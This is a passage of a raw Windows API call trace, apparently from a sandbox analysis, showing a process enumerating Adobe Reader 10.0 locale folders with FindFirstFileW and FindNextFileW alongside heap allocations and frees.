lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0223.987] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0223.987] GetProcessHeap () returned 0x550000 [0223.987] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26100a0 | out: hHeap=0x550000) returned 1 [0223.987] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0223.988] GetProcessHeap () returned 0x550000 [0223.988] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0223.988] GetProcessHeap () returned 0x550000 [0223.988] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0223.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0225.021] GetProcessHeap () returned 0x550000 [0225.021] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26100a0 [0225.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0225.022] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.022] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbab1, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0225.023] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0225.023] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0225.023] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0225.023] GetProcessHeap () returned 0x550000 [0225.023] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26100a0 | out: hHeap=0x550000) returned 1 [0225.023] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.UKR", cAlternateFileName="")) returned 1 [0225.023] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.UKR", cAlternateFileName="")) returned 1 [0225.023] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.UKR", cAlternateFileName="")) returned 1 [0225.023] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.UKR", cAlternateFileName="")) returned 0 [0225.024] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0225.024] GetProcessHeap () returned 0x550000 [0225.024] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0225.024] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0225.024] GetProcessHeap () returned 0x550000 [0225.024] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0225.024] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0225.095] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.095] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHS", cAlternateFileName="ACCESS~1.CHS")) returned 1 [0225.095] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CHS", cAlternateFileName="")) returned 1 [0225.095] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CHS", cAlternateFileName="ADOBEC~1.CHS")) returned 1 [0225.095] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CHS", cAlternateFileName="")) returned 1 [0225.095] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CHS", cAlternateFileName="BRDLAN~1.CHS")) returned 1 [0225.095] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CHS", cAlternateFileName="")) returned 1 [0225.095] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CHS", cAlternateFileName="")) returned 1 [0225.095] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CHS", cAlternateFileName="")) returned 1 [0225.095] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CHS", cAlternateFileName="")) returned 1 [0225.095] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CHS", cAlternateFileName="")) returned 1 [0225.095] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CHS", cAlternateFileName="")) returned 1 [0225.096] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CHS", cAlternateFileName="MAKEAC~1.CHS")) returned 1 [0225.096] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.CHS", cAlternateFileName="MULTIM~1.CHS")) returned 1 [0225.096] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.CHS", cAlternateFileName="")) returned 1 [0225.096] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.CHS", cAlternateFileName="")) returned 1 [0225.096] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe0600, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.CHS", cAlternateFileName="")) returned 1 [0225.096] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.CHS", cAlternateFileName="READOU~1.CHS")) returned 1 [0225.096] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.CHS", cAlternateFileName="")) returned 1 [0225.096] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.CHS", cAlternateFileName="SAVEAS~1.CHS")) returned 1 [0225.096] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.CHS", cAlternateFileName="")) returned 1 [0225.096] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.CHS", cAlternateFileName="")) returned 1 [0225.096] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0225.096] GetProcessHeap () returned 0x550000 [0225.096] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0225.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0225.157] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0225.157] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x899d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0225.157] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0225.157] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0225.157] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0225.158] GetProcessHeap () returned 0x550000 [0225.158] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0225.158] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHS", cAlternateFileName="")) returned 1 [0225.158] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CHS", cAlternateFileName="")) returned 1 [0225.158] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 